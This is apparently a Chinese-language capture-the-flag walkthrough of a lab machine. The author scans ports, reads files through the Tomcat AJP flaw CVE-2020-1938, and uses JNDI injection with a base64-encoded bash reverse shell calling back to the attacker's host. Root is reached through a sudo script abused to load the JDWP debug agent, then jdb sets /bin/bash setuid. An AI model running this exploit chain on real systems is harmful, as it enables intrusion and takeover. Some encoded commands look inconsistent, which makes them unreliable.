

信息收集

```
└─(root@MJ)-[/tmp/test]
└─# fscan -h 192.168.2.28 -p 1-65535 -nobr
```

```

      _-_-
    / - \
  / / \ \_/_/_/_/_/_/_/_/_/_/_| | _-
  / / \ \_/_/_/_/_/_/_/_/_/_/_| | _-
  / / \ \_/_/_/_/_\_ \ \ ( _ | | | ( _ | | ( _ |   <
  \_/_/_/_/_/       | _/_/_/\_/_/_/_/_\ \_,_\ \_/_/_/_/_\ \ \ \
                                     fscan version: 1.8.4

```

```
start infoscan
```

192.168.2.28:80 open

192.168.2.28:22 open

192.168.2.28:8009 open

192.168.2.28:8080 open

```
[*] alive ports len is: 4
```

```
start vulscan
```

```
[*] WebTitle http://192.168.2.28      code:200 len:6      title:None
```

```
[*] WebTitle http://192.168.2.28:8080 code:200 len:10252 title:利兹与青鸟 | 山田尚子执导的青春诗篇
```

已完成 4/4

[*] 扫描结束,耗时: 4.258792677s

8009一般是AJP端口，8080大概率就是tomcat了

```
└─(root@MJ)-[/tmp/test]
└─# curl http://192.168.2.28:8080/index.php/login
<!DOCTYPE html><html><head><title>Apache Tomcat/8.0.1 - Error report</title>
<style type="text/css">H1 {font-family:Tahoma,Arial,sans-
serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-
family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-
size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-
color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-
serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-
serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-
serif;background:white;color:black;font-size:12px;}A {color : black;}A.name
{color : black;}.line {height: 1px; background-color: #525D76; border: none;}
</style> </head><body><h1>HTTP Status 404 - /index.php/login</h1><div
class="line"></div><p><b>type</b> Status report</p><p><b>message</b>
<u>/index.php/login</u></p><p><b>description</b> <u>The requested resource is
```

```
not available.</u></p><hr class="line"><h3>Apache Tomcat/8.0.1</h3></body>
</html>
```

很容易找到版本8.0.1这个版本很老了，有挺多洞的，RCE测试是不存在的，存在**CVE-2020-1938**

漏洞汇总表

CVE 编号	漏洞类型	严重程度	触发条件
CVE-2017-12617	远程代码执行 (RCE)	Critical	readonly 设置为 false
CVE-2020-1938	任意文件读取 / RCE	Critical	AJP 端口 (8009) 开放
CVE-2016-8735	反序列化 RCE	High	开启 JMX 且端口暴露
CVE-2016-1240	本地提权 (LPE)	High	Linux 系统 + 特定安装包

```
—(root@MJ)-[~/tools/CVE-2020-1938-Tomact-file_include-file_read]
└─# python2 read.py 192.168.2.28
Getting resource at ajp13://192.168.2.28:8009/asdf
-----
<!DOCTYPE html><html><head><title>Apache Tomcat/8.0.1 - Error report</title>
<style type="text/css">H1 {font-family:Tahoma,Arial,sans-
serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-
family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-
size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-
color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-
serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-
serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-
serif;background:white;color:black;font-size:12px;}A {color : black;}A.name
{color : black;}.line {height: 1px; background-color: #525D76; border: none;}
</style> </head><body><h1>HTTP Status 500 - The requested resource (/) is not
available</h1><div class="line"></div><p><b>type</b> Exception report</p><p>
<b>message</b> <u>The requested resource (/) is not available</u></p><p>
<b>description</b> <u>The server encountered an internal error that prevented
it from fulfilling this request.</u></p><p><b>exception</b></p>
<pre>java.io.FileNotFoundException: The requested resource (/) is not
available

org.apache.catalina.servlets.DefaultServlet.serveResource(DefaultServlet.java:
715)

org.apache.catalina.servlets.DefaultServlet.doGet(DefaultServlet.java:398)
    javax.servlet.http.HttpServlet.service(HttpServlet.java:618)
    javax.servlet.http.HttpServlet.service(HttpServlet.java:725)
```

```
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
</pre><p><b>note</b> <u>The full stack trace of the root cause is available in
the Apache Tomcat/8.0.1 logs.</u></p><hr class="line"><h3>Apache
Tomcat/8.0.1</h3></body></html>
```

没读到可能是web路径不是默认的

```
└─(root@MJ)-[~/tools/CVE-2020-1938-Tomact-file_include-file_read]
└─# curl http://192.168.2.28:8080/ | grep ptjo.pyv
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
Current                                  Dload  Upload  Total  Spent  Left  Speed
100 10252 100 10252    0      0 2422k    0 --:--:-- --:--:-- --:--:-- 2502k
<!--ptjo.pyv-->
```

web源码提示了ptjo.pyv，移位后是jndi.jsp，可以尝试读源码了

Web

```
└─(root@MJ)-[~/tools/CVE-2020-1938-Tomact-file_include-file_read]
└─# python2 read.py 192.168.2.28 -f jndi.jsp
Getting resource at ajp13://192.168.2.28:8009/asdf
-----
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="java.io.PrintWriter" %>

<html>
<head>
    <title>JNDI Service</title>
    <style>
        body { font-family: monospace; background-color: #f0f0f0; padding:
20px; }
        .box { background: white; padding: 20px; border: 1px solid #ccc; max-
width: 600px; margin: 0 auto; }
        input[type="text"] { width: 70%; padding: 5px; }
        input[type="submit"] { padding: 5px 10px; cursor: pointer; }
        .output { margin-top: 20px; border-top: 1px dashed #999; padding-top:
10px; color: #333; }
        .error { color: red; font-weight: bold; }
    </style>
</head>
<body>
```

```
<div class="box">
    <p>请输入你想要的资源名称</p>

    <form method="POST">
        <input type="text" name="jndi_name" placeholder="输入资源名..."
value="<%= request.getParameter("jndi_name") != null ?
request.getParameter("jndi_name") : "" %>">
        <input type="submit" value="执行">
    </form>

    <%
        String input = request.getParameter("jndi_name");
        if (input != null && !input.trim().isEmpty()) {
            out.println("<div class='output'>");
            out.println("<p><strong>正在执行查询:</strong> " + input + "
</p>");

            try {
                Context ctx = new InitialContext();
                Object obj = ctx.lookup(input);

                out.println("<p style='color:green'><strong>✅ 查询成功!
</strong></p>");

                out.println("<p>返回对象类型: " + obj.getClass().getName() +
"</p>");

                out.println("<p>toString 结果: " + obj.toString() + "
</p>");

            } catch (Exception e) {
                out.println("<pre>" + "错误"+ "</pre>");
            }
            out.println("</div>");
        }
    %>
</div>
</body>
</html>
```

其中input参数可控，可以进行jndi注入，有关jndi注入参考[用marshalsec & Jndi注入利用工具（JNDI-Injection-Exploit）复现Fastjson反序列化漏洞--保姆级！复现过程！-CSDN博客](#)

```
(root@MJ)-[~/tools/java]
# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSXA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMjIuMzIuMiAwPiYX}{base64,-d} {bash,-i}" -A "192.168.2.22"
[ADDRESS] >> 192.168.2.22
```

```
[COMMAND] >> bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMjIvMjMzMzMiAwPiYx}|{base64,-d}|
{bash,-i}

-----JNDI Links-----
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.2.22:1099/orhni1
ldap://192.168.2.22:1389/orhni1
Target environment(Build in JDK whose trustURLCodebase is false and have
Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.2.22:1099/xevhc0
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.2.22:1099/gwgkw6
ldap://192.168.2.22:1389/gwgkw6

-----Server Log-----
2026-03-26 20:12:02 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2026-03-26 20:12:02 [RMISERVER] >> Listening on 0.0.0.0:1099
2026-03-26 20:12:02 [LDAPSERVER] >> Listening on 0.0.0.0:1389
```

```
curl -X POST http://192.168.2.28:8080/jndi.jsp -d
'jndi_name=rmi://192.168.2.22:1099/gwgkw6'
```

监听等curl拿shell即可

提权

liz

这个提权还是要了个hint才拿到，实在没想到在图片里面，密码也是试了几次才试出来是 sanmuximei

```
bluebird@JNDI:~$ find / -iname "*.jpg" 2>/dev/null
/usr/message/message.jpg

bluebird@JNDI:~$ strings /usr/message/message.jpg | head -n 10
JFIF
ilikeyousanmuximei(liz)
```

root

```
liz@JNDI:/home/bluebird$ sudo -l
Matching Defaults entries for liz on JNDI:
    env_reset, mail_badpass,
```

```
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

User liz may run the following commands on JNDI:

```
(ALL) /bin/bash /opt/java_agent_start.sh
liz@JNDI:/home/bluebird$ cat /opt/java_agent_start.sh
#!/bin/bash
```

```
file_name=/opt/file/tmp
```

```
file_line=$(awk 'NR==1 {print;exit}' "$file_name")
```

```
file_line=$(basename $file_line)
```

```
cd /opt
```

```
echo $file_line
```

```
/usr/local/java/jdk1.8.0_20/bin/java -
agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/$file_line test
liz@JNDI:/home/bluebird$ ls -al /opt/file/tmp
-rw-r--rw- 1 root root 63 Mar 26 07:39 /opt/file/tmp
```

有root权限执行脚本，对tmp文件可控，但是basename限制了路径穿越同时发现传参之后包含潜在的引号也堵死了命令注入

在 Java 的标准库目录下，存放着很多官方的 Agent 库，其中最著名的就是 libjdpwp.so。

JDWP (Java Debug Wire Protocol) 是 Java 提供的调试协议。如果我们在加载它时传入特定的参数，它就会在指定的端口上开启一个调试服务。**而在 Java 中，调试器拥有最高权限：它可以随意实例化对象、调用方法（包括 Runtime.getRuntime().exec() 来执行系统命令）。**

```
liz@JNDI:/home/bluebird$ ls -al /opt/file/tmp
-rw-r--rw- 1 root root 63 Mar 26 07:39 /opt/file/tmp
liz@JNDI:/home/bluebird$ echo
"libjdpwp.so=transport=dt_socket,server=y,address=8000,suspend=y" >
/opt/file/tmp
liz@JNDI:/home/bluebird$ sudo /bin/bash /opt/java_agent_start.sh
libjdpwp.so=transport=dt_socket,server=y,address=8000,suspend=y
Listening for transport dt_socket at address: 8000
```

开放8000远程调试，不过很早时候的工具可能因为jdk版本问题用不了，试的时候也发现了会输出helloworld，所以肯定调用println了，所以断在

```
`java.io.PrintStream.println(java.lang.String)
```

```
└─(root@MJ)-[/tmp/test]
```

```
└─# jdb -attach 192.168.2.28:8000
```

```
Set uncaught java.lang.Throwable
```

```
Set deferred uncaught java.lang.Throwable
```

```
Initializing jdb ...
```

```
>
```

```
VM Started: No frames on the current call stack
```

```
main[1] stop in java.io.PrintStream.println(java.lang.String)
```

```
Set breakpoint java.io.PrintStream.println(java.lang.String)
```

```
main[1] cont
```

```
>
```

```
Breakpoint hit: "thread=main", java.io.PrintStream.println(), line=805 bci=0
```

```
main[1] print java.lang.Runtime.getRuntime().exec("chmod +s /bin/bash")
```

```
java.lang.Runtime.getRuntime().exec("chmod +s /bin/bash") =
```

```
"java.lang.UNIXProcess@1eb44e46"
```